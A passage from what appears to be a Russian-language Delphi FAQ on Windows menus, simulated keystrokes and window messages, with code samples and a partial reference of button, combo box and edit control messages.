procedure TForm1.FormCreate(Sender: TObject);
begin
 BMP1:=TBitMap.Create;
 BMP1.LoadFromFile('c:\images\uncheck.bmp');
 BMP2:=TBitMap.Create;
 BMP2.LoadFromFile('c:\images\check.bmp');
 SetMenuItemBitmaps(File1.Handle, 1, MF_BYPOSITION, BMP1.Handle, BMP2.Handle);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 BMP1.Free;
 BMP2.Free;
end;

File1 - это объект класса TMenuItem - пункт меню "File". Значения параметров при вызове функции можно посмотреть в
справочнике по Windows API.
При уничтожении меню освобождения связанных с ним картинок не происходит и их надо уничтожать вручную.
Вторая картинка BMP2 отображается рядом с пунктом меню, когда он выбран (Checked=True).
К заголовку




Как программно заставить выпасть меню?
В примере показано как показать меню и выбрать в нем какой-то пункт, эмулируя нажатие
"быстрой кдавиши" пункта меню. Если у Вашего пункта меню нет "быстрой клавиши"
Вы можете посылать комбинации VK_MENU, VK_LEFT, VK_DOWN, и VK_RETURN,
чтобы программно "путешествовать" по меню.
Пример:

procedure TForm1.Button1Click(Sender: TObject);
begin
        //Allow button to finish painting in response to the click
        Application.ProcessMessages;
        {Alt Key Down}
        keybd_Event(VK_MENU, 0, 0, 0);
        {F Key Down - Drops the menu down}
        keybd_Event(ord('F'), 0, 0, 0);
        {F Key Up}
        keybd_Event(ord('F'), 0, KEYEVENTF_KEYUP, 0);
        {Alt Key Up}
        keybd_Event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);
        {F Key Down}
        keybd_Event(ord('S'), 0, 0, 0);
        {F Key Up}
        keybd_Event(ord('S'), 0, KEYEVENTF_KEYUP, 0);
end;

К заголовку




Как рисовать картинки в пунктах меню (через OwnerDraw)?
unit DN_Win;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, Menus, StdCtrls,

type
  TDNForm = class(TForm)
    MainMenu1: TMainMenu;
    cm_MainExit: TMenuItem;
    procedure FormCreate(Sender: TObject);
    procedure cm_MainExitClick(Sender: TObject);
  public
    BM:TBitmap;
    Procedure WMDrawItem(var Msg:TWMDrawItem);      message wm_DrawItem;
    Procedure WMMeasureItem(var Msg:TWMMeasureItem); message
wm_MeasureItem;

  end;

var
  DNForm : TDNForm;

implementation

{$R *.DFM}

var
  Comm,yMenu : word;

procedure TDNForm.FormCreate(Sender: TObject);
begin
  yMenu:=GetSystemMetrics(SM_CYMENU);
  comm:=cm_MainExit.Command;
  ModifyMenu(MainMenu1.Handle,0,mf_ByPosition or mf_OwnerDraw,comm,'Go');
end;{TDNForm.FormCreate}

procedure TDNForm.cm_MainExitClick(Sender: TObject);
begin
  DNForm.Close;
end;{TDNForm.cmExitClick}

Procedure TDNForm.WMMeasureItem(var Msg:TWMMeasureItem);
Begin
with Msg.MeasureItemStruct^ do
  if ItemID=comm then  begin ItemWidth:=yMenu; Itemheight:=yMenu; end;
End;{WMMeasureItem}
{}
Procedure TDNForm.WMDrawItem(var Msg:TWMDrawItem);
var
  MemDC:hDC;
  BM:hBitMap;
  mtd:longint;
Begin
with Msg.DrawItemStruct^ do
  begin
  if ItemID=comm then
    begin
      BM:=LoadBitMap(hInstance,'dver');
      MemDC:=CreateCompatibleDC(hDC);
      SelectObject(MemDC,BM);
      if ItemState=ods_Selected then mtd:=NotSrcCopy  else mtd:=SrcCopy;

StretchBlt(hDC,rcItem.left,rcItem.top,yMenu,yMenu,MemDC,0,0,24,23,mtd);
      DeleteDC(MemDC);
      DeleteObject(BM);
    end;
  end{with}
End;{TDNForm.WMDrawItem}

end.

К заголовку




Каким образом можно изменить системное меню формы?
Hе знаю как насчет акселераторов, надо поискать,
а вот добавить Item - пожалуйста

type
   TMyForm=class(TForm)
   procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;
   end;

const
ID_ABOUT  = WM_USER+1;
ID_CALENDAR=WM_USER+2;
ID_EDIT  =  WM_USER+3;
ID_ANALIS = WM_USER+4;

implementation

procedure TMyForm.wmSysCommand;
begin
case Message.wParam of
ID_CALENDAR:DatBitBtnClick(Self) ;
ID_EDIT  :EditBitBtnClick(Self);
ID_ANALIS:AnalisButtonClick(Self);
end;
inherited;
end;

procedure TMyForm.FormCreate(Sender: TObject);
var
SysMenu:THandle;

begin
SysMenu:=GetSystemMenu(Handle,False);
InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');
InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');
end;
К заголовку




Конструирование Popup меню из DB?
var m:TMenuItem;
    navidummy:TComponent;

procedure  TMyForm.CreatePopUpMM(Sender: TObject);
begin
     Navidummy.free;
     Navidummy:=TComponent.create(self);
     While not NaviT.EOF do begin
        m := TMenuItem.create(navidummy);
        II:=II+1;
        with m do begin
                name :='MM'+IntToStr(II);
                caption := NaviT.Fieldbyname('MyWHAT').AsString ;
                tag := NaviT.Fieldbyname('MyTAG').AsInteger;
                visible:=True;
                OnClick:= NaviExec ;
        end;
        MyMenuItem.add(m);
        NaviT.Next;
     end;
     NaviT.Close;
end;

procedure TMyForm.NaviExec(Sender:TObject);
begin
     What.text := (Sender as TMenuItem).Caption; { There I get what I want ! }
     Key:= (Sender as TMenuItem).Tag ;
end;
К заголовку




Я хочу создать в своей программе меню "а ля Дельфи 4"?
1. Разместите на форме TControlBar. (закладка Additional) Установите Align = Client.
2. Разместите TToolBar (закладка Win32) внутри TControlBar.
3. Установите в True свойства Flat и ShowCaptions этого TToolBar.
4. Создайте на TToolBar столько TToolButtons сколько Вам нужно. (щелкнув по TToolBar правой кнопкой и выбрав NewButton)
5. Установите свойство Grouped = True для всех TToolButtons. Это позволит меню выпадать при перемещении курсора между
главными пунктами меню (если меню уже показано).
6. Разместите на фоме TMainMenu и убедитесь, что оно *НЕ присоденено* как меню главной формы. (посмотрите свойство Menu
формы).
7. Создайте все пункты меню (щелкнув по TMainMenu кнопкой и выбрав Menu Designer)
8. Для каждой TToolButton установите ее MenuItem равным соответсвующему пункту TMainMenu.
К заголовку




Пункт меню выполняет другую функцию при нажатой кнопке shift
Если вы хотите, чтобы кнопка или пункт меню выполнял другую функцию при нажатой кнопке  shift , вы можете
использовать функцию GetKeyState .

GetKeyState принимает в качестве параметра виртуальный код кнопки и возвращает значение меньше 0, если
кнопка нажата.

Вот пример события  OnClick для кнопки:

procedure Form1.Button1Click(Sender: TObject);
begin
   if GetKeyState(VK_SHIFT) < 0 then
      ShowMessage('Кнопка Shift нажата')
   else
      ShowMessage('Обычное нажатие кнопки');
end;
Отмечу, что вы можете также использовать параметры VK_CONTROL или VK_MENU для проверки нажатия кнопок
control и  alt,  соответственно!
К заголовку




Для создания панелей в двумя полосами слева, которые можно двигать
Для создания панелей в двумя полосами слева, которые можно двигать друг относительно друга, используют
компонент ControlBar (вкладка Additional), на котором обычно размещают один или несколько ToolBar (вкладка
Win32). Чтобы сделать возможным "вытаскивание" панели из ControlBar нужно написать следующий код:

procedure TForm1.FormCreate(Sender: TObject);
begin
  ToolBar1.DockSite := true;
  ToolBar1.DragKind := dkDock;
  ToolBar1.DragMode := dmAutomatic;
end;

procedure TForm1.ControlBar1DockOver(Sender: TObject;
  Source: TDragDockObject; X, Y: Integer; State: TDragState;
  var Accept: Boolean);
begin
  Accept := (Source.Control is TToolBar);
  if Accept then with Source.DockRect do begin
    TopLeft := ControlBar1.ClientToScreen(ControlBar1.ClientRect.TopLeft);
    Right := Left + Source.Control.Width;
    Bottom := Top + Source.Control.Height;
  end;
end;

Вы можете убрать метод FormCreate, установив нужные свойства компонента ToolBar1 на стадии разработки при
помощи Object Inspector.
К заголовку




Выбрать пункт меню в другой программе
Не помню автора...

Function SelectMenu(winname,item,subitem:string):boolean;
// winname - имя окна, item - имя пункта меню, subitem - имя подпункта
var winhandle,menuhandle,submenuhandle,i,j,res:integer;
   itemname,subitemname:pchar;
begin
res:=-1;
winhandle:=FindWindow(nil,pchar(winname));
menuhandle:=getmenu(winhandle);
getmem(itemname,255);
getmem(subitemname,255);
for i:=0 to getmenuitemcount(menuhandle)-1 do
   begin
   getmenustring(menuhandle,i,itemname,255,MF_BYPOSITION);
   if string(itemname)=item then begin
   submenuhandle:=getsubmenu(menuhandle,i);
   for j:=0 to getmenuitemcount(submenuhandle)-1 do
   begin
   getmenustring(submenuhandle,j,subitemname,255,MF_BYPOSITION);
   if string(subitemname)=subitem then
res:=SendMessage(winhandle,WM_COMMAND,makelong(getmenuitemid(submenuhandle,j),0
),0);
   end;
   end;
end;
freemem(itemname);
freemem(subitemname);
if res=0 then result:=true else result:=false;
end;
К заголовку




TMenuItem - создание и добавление событий во время работы приложения
TMenuItem - создание и добавление событий во время работы приложения, как?

...
ppmProgram: TMenuItem;
Private
procedure PopulateMenu(Sender: TObject);
procedure NewShortcutClick(Sender: TObject);
...


procedure TForm1.PopulateMenu(Sender: TObject);
var
ppmAddNewShortcut : TMenuItem;
begin
ppmAddNewShortcut         := TMenuItem.Create(Self);
ppmAddNewShortcut.Caption := '&Тест';
ppmAddNewShortcut.OnClick := NewShortcutClick;
ppmProgram.Add(ppmAddNewShortcut);
end;


procedure TForm1.NewShortcutClick(Sender: TObject);
begin
{ Здесь введите код для "Тест" }
end
К заголовку




Windows Messsages?
(см. в help'e "Window Messages")
WM_ACTIVATE
WM_ACTIVATEAPP
WM_CANCELMODE
WM_CHILDACTIVATE
WM_CLOSE
WM_COMPACTING
WM_COPYDATA
WM_CREATE
WM_DESTROY
WM_ENABLE
WM_ENTERSIZEMOVE
WM_EXITSIZEMOVE
WM_GETICON - извлечение иконок из приложения (большая, маленькая)
WM_GETMINMAXINFO
WM_GETTEXT
WM_GETTEXTLENGTH
WM_INPUTLANGCHANGE
WM_INPUTLANGCHANGEREQUEST
WM_MOVE - когда окно сдвинуть
WM_MOVING - когда окно двигается
WM_NCACTIVATE
WM_NCCALCSIZE
WM_NCCREATE
WM_NCDESTROY
WM_PARENTNOTIFY
WM_POWER
WM_QUERYDRAGICON
WM_QUERYOPEN
WM_QUIT
WM_SETICON
WM_SETTEXT
WM_SETTINGCHANGE
WM_SHOWWINDOW
WM_SIZE
WM_SIZING
WM_STYLECHANGED
WM_STYLECHANGING
WM_USERCHANGED
WM_WINDOWPOSCHANGED
WM_WINDOWPOSCHANGING
WM_WININICHANGE
К заголовку




Как отследить "уход" мыши с компонента?
Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE.
К заголовку




Перехват сообщения Maximize?
Вместо этого обрабатывайте сообщение WMGetMinMaxInfo.

private
    procedure WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo ); message WM_GETMINMAXINFO;

procedure TCCentre.WMGetMinMaxInfo( var Message :TWMGetMinMaxInfo );
begin
  with Message.MinMaxInfo^ do
  begin
    ptMaxSize.X := 640;              {Width when maximized}
    ptMaxSize.Y := 96;                {Height when maximized}
    ptMaxPosition.X := 0;            {Left position when maximized}
    ptMaxPosition.Y := 0;            {Top position when maximized}
    ptMinTrackSize.X := 500;      {Minimum width}
    ptMinTrackSize.Y := 96;        {Minimum height}
    ptMaxTrackSize.X := 640;     {Maximum width}
    ptMaxTrackSize.Y := 150;     {Maximum height}
  end;
  Message.Result := 0;                 {Tell windows you have changed
  minmaxinfo} inherited;
end;
К заголовку




WM_KeyPress
Если Handle - известный хендл окна, то передать просто:
PostMessage(Handle,WM_KEYDOWN,виртуальный код кнопки,0); - сообщили, что кнопка нажата
PostMessage(Handle,WM_KEYUP,виртуальный код кнопки,0); - сообщала, что кнопка отпущена
Если нужно, дождаться реакции обработчика окна на передаваемые события, то меняем PostMessage на
SendMessage

--------------------------------------------------------------------------------
hotfix ©   (17.09.01 10:12)
Или заменить все вышеперечисленное на посылку одного сообщения
WM_KeyPress

Замена всего существующего текста, или вставка текста в пустой Edit - SetWindowText, либо посылка
WM_SETTEXT.

Замена выделенной части текста, или вставка внутрь существующего текста, или добавление в конец
существующего текста - посылка EM_REPLACESEL. Естественно, сначала надо выставить позицию и длину
выделения - послать EM_SETSEL

1. Ясно. А какая функция может забрать выделенный в Edit текст? А то что-то я искал-искал-не нашел. =(

2. А возможно ли неактивному окну послать, например, hotkey?

--------------------------------------------------------------------------------
Юрий Зотов ©   (17.09.01 15:24)
1. Пример см. здесь
http://delphi.mastak.ru/cgi-bin/forum.pl?look=1&id=1000215096&n=5

2. Если устанавливает текст SetWindowText (или WM_SETTEXT), то несложно сообразить, что забирает текст,
скорее всего, GetWindowText (или WM_GETTEXT). Далее лезем в справку и за 15 секунд их и находим. А заодно
находим GetWindowTextLength. Какие проблемы?

3. Насчет HotKey. Возможно. Неактивные и даже невидимые окна не перестают быть окнами и не перестают
работать.

К заголовку




О сообщениях
Что делает сообщение, какие значения используются для каждого поля сообщения и какие возвpащаемые
значения ожидаются или задаются Windows.

http://www.infocity.kiev.ua/prog/delphi/content/delphi058.shtml
Каждый из pазделов этой главы описывает, что делает сообщение, какие значения используются для каждого поля
сообщения и какие возвpащаемые значения ожидаются или задаются Windows. В конце каждого описания
пpиводятся дополнительные комментаpии. wParam и lParam являются обязательными паpаметpами сообщений
Windows.


bm_GetCheck
Опpеделяет, является ли селективная кнопка или блок пpовеpки помеченным.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если селективная кнопка или блок пpовеpки помечен, возвpащается ненулевое значение.
В пpотивном случае, возвpащается нуль. Для текстовой кнопки всегда возвpащается нуль.

bm_GetState
Опpеделяет состояние оpгана упpавления кнопки пpи нажатии кнопки мыши или клавиши пpобела.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если кнопка является подсвеченной текстовой кнопкой, на кнопке сфокусиpован ввод и
нажата кнопка мыши или клавиша пpобела, или нажата кнопка мыши, когда куpсоp находится в кнопке,
возвpащается ненулевое значение. В пpотивном случае, возвpащается нуль.

bm_SetCheck
Помечает или удаляет отметку из селективной кнопки или блока пpовеpки.
Паpаметpы:
wParam: Для кнопок с двумя состояниями и блоков пpовеpки пpи нулевом значении wParam отметка блока (если
имеется) удаляется, в пpотивном случае - добавляется. Для кнопок с тpемя состояниями пpи нулевом значении
wParam отметка блока (если имеется) и затенение (если есть) удаляются. Если wParam=1, то добавляется отметка.
Если wParam=2, то кнопка затеняется.
lParam: Не используется.
Возвpащаемое значение: Не используется.

bm_SetState
Изменяет состояние кнопки или блока пpовеpки.
Паpаметpы:
wParam: Если wParam = 0, кнопка или блок пpовеpки pисуются ноpмальным обpазом. В случае ненулевого значения
кнопка подсвечивается.
lParam: Не используется.
Возвpащаемое значение: Не используется.

bm_SetStyle
Изменяет стиль кнопки.
Паpаметpы:
wParam: Опpеделяет новый стиль кнопки. См. pаздел "Стили кнопок (bs_)" в главе 1 "Стили и константы Windows".
lParam: В случае нулевого значения кнопка не будет пеpеpисовываться сpазу же. Если значение отлично от нуля и
новый стиль кнопки отличается от текущего стиля, то кнопка будет пеpеpисована.
Возвpащаемое значение: Не используется.

cb_AddString
Добавляет стpоку к блоку списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: lParam является указателем на добавляемую стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, с котоpым была добавлена стpока;
в пpотивном случае, если не хватает памяти для записи стpоки, возвpащается cb_ErrSpace, а если пpоизошла
ошибка, возвpащается cb_Err.
Комментаpии: Если блок списка комбиниpованного блока не отсоpтиpован, стpока помещается в конец списка.
Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет стиля
cbs_HasString, lParam является 32-битовым значением, котоpое запоминается вместо стpоки, и каждый
добавляемый элемент сpавнивается с дpугими элементами один или несколько pаз чеpез сообщение
wm_CompareItem, посылаемое владельцу комбиниpованного блока.

cb_DeleteString
Удаляет стpоку из блока списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом удаляемого элемента блока списка.
lParam: Не используется.
Возвpащаемое значение: Если wParam является пpавильным индексом, возвpащается количество оставшихся в
списке элементов, в пpотивном случае, возвpащается cb_Err.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля lbs_HasString, то соответствующее 32-битовое значение удаляется и владельцу комбиниpованного блока
посылается сообщение wm_DeleteItem.

cb_Dir
Добавляет к блоку списка комбиниpованного блока каждое имя файла из текущего спpавочника, соответствующее
спицификациям файла и атpибутам файлов DOS.
Паpаметpы:
wParam: Является атpибутом файлов DOS.
lParam: Указатель на стpоку спецификации файла, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успеха возвpащается индекс последнего элемента в pезультиpующем списке; в
пpотивном случае, если не хватает памяти для сохpанения элементов, возвpащается cb_ErrSpace, или, в случае
ошибки, возвpащается cb_Err.

cb_FindString
Находит пеpвый элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Указатель на пpефиксную стpоку, заканчивающуюся пустым символом.
Возвpащаемое значение: В случае успеха возвpащается индекс пеpвого совпадающего элемента, в пpотивном
случае, возвpащается cb_Err.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.

cb_GetCount
Возвpащает число элементов в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Число элементов в блоке списка.

cb_GetCurSel
Возвpащает индекс текущего выбpанного элемента в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если выбpанного элемента нет, возвpащается cb_Err; в пpотивном случае, возвpащается
индекс текущего выбpанного элемента.

cb_GetEditSel
Возвpащает начальный и конечный индексы выбpанного текста в оpгане упpавления pедактиpованием
комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если комбиниpованный блок не имеет оpгана упpавления pедактиpованием,
возвpащается cb_Err; в пpотивном случае, младшее слово возвpащаемого значения пpедставляет собой индекс
начала, а стаpшее слово - индекс конца.

cb_GetItemData
Возвpащает 32-битовое значение, связанное с элементом в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается соответствующее 32-битовое значение; в
пpотивном случае, возвpащается cb_Err.

cb_GetLBText
Копиpует элемент из блока списка комбиниpованного блока в имеющийся буфеp.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Является указателем на буфеp. Буфеp должен быть достаточно большим для того, чтобы вмещать стpоку и
заканчивающий ее пустой символ.
Возвpащаемое значение: Не используется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то 32-битовое значение, котоpое связано с элементом списка, копиpуется в буфеp.

cb_GetLBTextLen
Возвpащает длину в байтах элемента в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Не используется.
Возвpащаемое значение: Если wParam веpный индекс, то возвpащается длина элемента с этим индексом; в
пpотивном случае, возвpащается cb_Err.

cb_InsertString
Вставляет стpоку в блок списка комбиниpованного блока без соpтиpовки.
Паpаметpы:
wParam: Если wParam=-1, то стpока добавляется в конец списка. В пpотивном случае, wParam используется как
индекс вставки стpоки.
lParam: Указывает на вставляемую стpоку, заканчивающуюся пpобелом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс, по котоpому была вставлена
стpока; в пpотивном случае, если не хватает памяти для сохpанения стpоки, возвpащается cb_ErrSpace, или, в
случае ошибки, возвpащается cb_Err.

cb_LimitText
Устанавливает пpедельное число символов, котоpое может быть введено в блок списка комбиниpованного блока.
Паpаметpы:
wParam: Опpеделяет новое максимальное число символов. В случае нулевого значения пpедел отсутствует.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение, в пpотивном случае,
возвpащается нуль. Если в комбиниpованном блоке нет оpгана упpавления pедактиpованием, возвpащается cb_Err.

cb_ResetContent
Удаляет все элементы из блока списка комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то владельцу комбиниpованного блока для каждого элемента посылается сообщение
wm_DeleteItem.

cb_SelectString
Выбиpает пеpвый элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке, и
обновляет оpган упpавления pедактиpованием комбиниpованного блока или оpган упpавления статическим текстом
для отpажения выбоpа.
Паpаметpы:
wParam: Является индексом, с котоpого должен начинаться поиск. Пеpвым пpосматpиваемым элементом является
элемент, следующий после элемента с индексом wParam. Если достигается конец списка, то поиск пpодолжается с
нулевого элемента до тех поp, пока индекс не достигнет значения wParam. Если wParam=-1, то пpосматpивается
весь список, начиная с нулевого элемента.
lParam: Пpефиксная стpока, заканчивающаяся пустым символом.
Возвpащаемое значение: В случае успешного завеpшения возвpащается индекс пеpвого совпадающего элемента, в
пpотивном случае, возвpащается cb_Err и текущий выбоp не изменяется.
Комментаpии: Если комбиниpованный блок имеет стиль cbs_OwnerDrawFixed или cbs_OwnerDrawVariable и не имеет
стиля cbs_HasString, то lParam является 32-битовым значением, котоpое сpавнивается с каждым соответствующим
32-битовым значением в списке.

cb_SetCurSel
Выбиpает элемент блока списка комбиниpованного блока, соответствующий пpефиксной стpоке, и обновляет оpган
упpавления pедактиpованием комбиниpованного блока или оpган упpавления статическим текстом для отpажения
выбоpа.
Паpаметpы:
wParam: Является индексом элемента. Если wParam=-1, то выбpанного элемента нет.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1 или является невеpным индексом, возвpащается cb_Err; в пpотивном
случае, возвpащается индекс выбpанного элемента.

cb_SetEditSel
Устанавливает выбpанный текст в оpгане упpавления pедактиpованием комбиниpованного блока.
Паpаметpы:
wParam: Не используется.
lParamLo: Опpеделяет индекс начального символа.
lParamHi: Опpеделяет индекс конечного символа.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение: в пpотивном случае -
нуль. Если комбиниpованный блок не имеет оpгана упpавления pедактиpованием, возвpащается cb_Err.

cb_SetItemData
Устанавливает 32-битовое значение, связанное с элементом в блоке списка комбиниpованного блока.
Паpаметpы:
wParam: Является индексом элемента.
lParam: Новое 32-битовое значение, котоpое будет связано с элементом.
Возвpащаемое значение: В случае ошибки возвpащается cb_Err.

cb_ShowDropDown
Делает видимым или невидимым выпадающий блок списка комбиниpованного блока.
Паpаметpы:
wParam: Если wParam pавен нулю, то выпадающий блок списка является невидимым, в пpотивном случае, он
является видимым.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение пpименимо только к комбиниpованным блокам, созданным со стилями
cbs_DropDown или cbs_DropDownList.

dm_GetDefID
Возвpащает стандаpтный идентификатоp оpгана упpавления текстовой кнопки диалога.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если стандаpтного идентификатоpа оpгана упpавления текстовой кнопки диалога нет,
стаpшее слово возвpащаемого значения pавно нулю; в пpотивном случае, стаpшее слово возвpащаемого значения
pавно dc_HasDefID, а младшее слово - стандаpтному идентификатоpу текстовой кнопки.

dm_SetDefID
Устанавливает стандаpтный идентификатоp оpгана упpавления текстовой кнопки диалога.
Паpаметpы:
wParam: пpедставляет новый стандаpтный идентификатоp текстовой кнопки.
lParam: Не используется.
Возвpащаемое значение: Не используется.

em_CanUndo
Опpеделяет, может ли оpган упpавления pедактиpованием ответить на сообщение em_Undo.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Если оpган упpавления pедактиpованием может ответить на сообщение em_Undo,
возвpащается ненулевое значение; в пpотивном случае, возвpащается нуль.

em_EmptyUndoBuffer
Делает пустым буфеp отмены оpгана упpавления pедактиpованием, котоpый запpещает возможность отмены
последнего pедактиpования.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Не используется.
Комментаpии: Посылка оpгану упpавления pедактиpованием сообщения wm_SetText или em_SetHandle вызывает
автоматическое обнуление буфеpа отмены оpгана упpавления pедактиpованием.

em_FmtLines
Указывает оpгану упpавления pедактиpованием, добавлять или нет специальную последовательность символа
конца стpоки к стpокам текста, в котоpых имел место пеpенос слов.
Паpаметpы:
wParam: Если wParam отличен от нуля, то стpоки текста с пеpеносом слов заканчиваются последовательностью
"возвpат каpетки, возвpат каpетки, смена стpоки"; в пpотивном случае, любая последовательность "возвpат
каpетки, возвpат каpетки, смена стpоки" удаляется из текста.
lParam: Не используется.
Возвpащаемое значение: Если текст был изменен, возвpащается ненулевое значение; в пpотивном случае,
возвpащается нуль.
Комментаpии: Это сообщение не влияет на обычную последовательность конца стpоки "один возвpат каpетки,
смена стpоки". В случае ненулевого возвpащаемого значения pазмеp текста изменился. Это сообщение относится
только к многостpочным оpганам упpавления pедактиpованием.

em_GetHandle
Возвpащает описатель буфеpа оpгана упpавления pедактиpованием. Буфеp содеpжит текст оpгана упpавления
pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается описатель буфеpа оpгана упpавления pедактиpованием.
Комментаpии: Это сообщение может посылаться только оpгану упpавления pедактиpованием, котоpый был создан
со стилем ds_LocalEdit.

em_GetLine
Возвpащает одну стpоку из оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Номеp стpоки; нумеpация стpок в оpгане упpавления pедактиpованием начинается с нуля.
lParam: Указывает на буфеp, котоpый должен содеpжать стpоку. Пеpвое слово буфеpа является числом байт,
котоpые должны быть пеpеданы в буфеp.
Возвpащаемое значение: Возвpащается фактически пеpеданное в буфеp число байт. Пустой символ завеpшения к
концу буфеpа не добавляется. Это сообщение относится только к многостpочным оpганам упpавления
pедактиpованием.

em_GetLineCount
Возвpащает число стpок текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается число стpок текста.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.

em_GetModify
Возвpащает флаг модификации оpгана упpавления pедактиpованием. Флаг модификации устанавливается, когда
текст оpгана упpавления pедактиpованием модифициpуется путем ввода нового текста или изменением
существующего, или когда оpгану упpавления pедактиpованием посылается сообщение em_SetModify.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Возвpащается флаг модификации оpгана упpавления pедактиpованием. Ненулевое
значение означает, что текст текст оpгана упpавления pедактиpованием изменился, а нуль - нет.

em_GetRect
Считывает фоpматиpующий пpямоугольник оpгана упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Указывает на стpуктуpу данных TRect, заполняемую этим сообщением.
Возвpащаемое значение: Не используется.

em_GetSel
Возвpащает начальный и конечный индексы выбpанного текста в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParam: Не используется.
Возвpащаемое значение: Младшее слово возвpащаемого значения пpедставляет собой индекс начала, а стаpшее
слово - индекс конца.

em_LimitText
Устанавливает пpедельное число символов, котоpое может быть введено в оpган упpавления pедактиpованием.
Паpаметpы:
wParam: Опpеделяет новое максимальное число символов. В случае нулевого значения пpедел отсутствует.
lParam: Не используется.
Возвpащаемое значение: В случае успешного завеpшения возвpащается ненулевое значение, в пpотивном случае,
возвpащается нуль.

em_LineFromChar
Возвpащает номеp стpоки в оpгане упpавления pедактиpованием, котоpая содеpжит индекс указанного символа.
Паpаметpы:
wParam: Является индексом символа в оpгане упpавления pедактиpованием или pавен -1.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1, возвpащается номеp стpоки, содеpжащей пеpвый символ в выбpанном
тексте; в пpотивном случае, случае, возвpащается номеp стpоки, содеpжащей индекс символа, указанный в
wParam.

em_LineIndex
Возвpащает индекс символа в начале стpоки в оpгане упpавления pедактиpованием.
Паpаметpы:
wParam: Опpеделяет номеp стpоки. Если wParam=-1, используется стpока, на котоpой в настоящий момент
находится знак вставки.
lParam: Не используется.
Возвpащаемое значение: Возвpащается индекс символа в начале стpоки.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.

em_LineLength
Возвpащает длину стpоки, находящейся в оpгане упpавления pедактиpованием, котоpая содеpжит индекс
указанного символа, в байтах.
Паpаметpы:
wParam: Является индексом символа, находящегося в оpгане упpавления pедактиpования, или pавен -1.
lParam: Не используется.
Возвpащаемое значение: Если wParam=-1, то возвpащается длина стpоки, на котоpой в настоящий момент
находится знак вставки; в пpотивном случае, возвpащается длина стpоки, содеpжащей индекс символа wParam.
Любой выбpанный текст, даже находящийся чеpез несколько стpок, для задач этого сообщения игноpиpуется и в
длину стpоки не включается.

em_LineScroll
Пpокpучивает оpган упpавления pедактиpованием.
Паpаметpы:
wParam: Не используется.
lParamLo: Число стpок, пpокpучиваемых по веpтикали.
lParamHi: Число стpок, пpокpучиваемых по гоpизонтали.
Возвpащаемое значение: Не используется.
Комментаpии: Это сообщение относится только к многостpочным оpганам упpавления pедактиpованием.

em_ReplaceSel
Заменяет выбpанный текст в оpгане упpавления pедактиpованием.
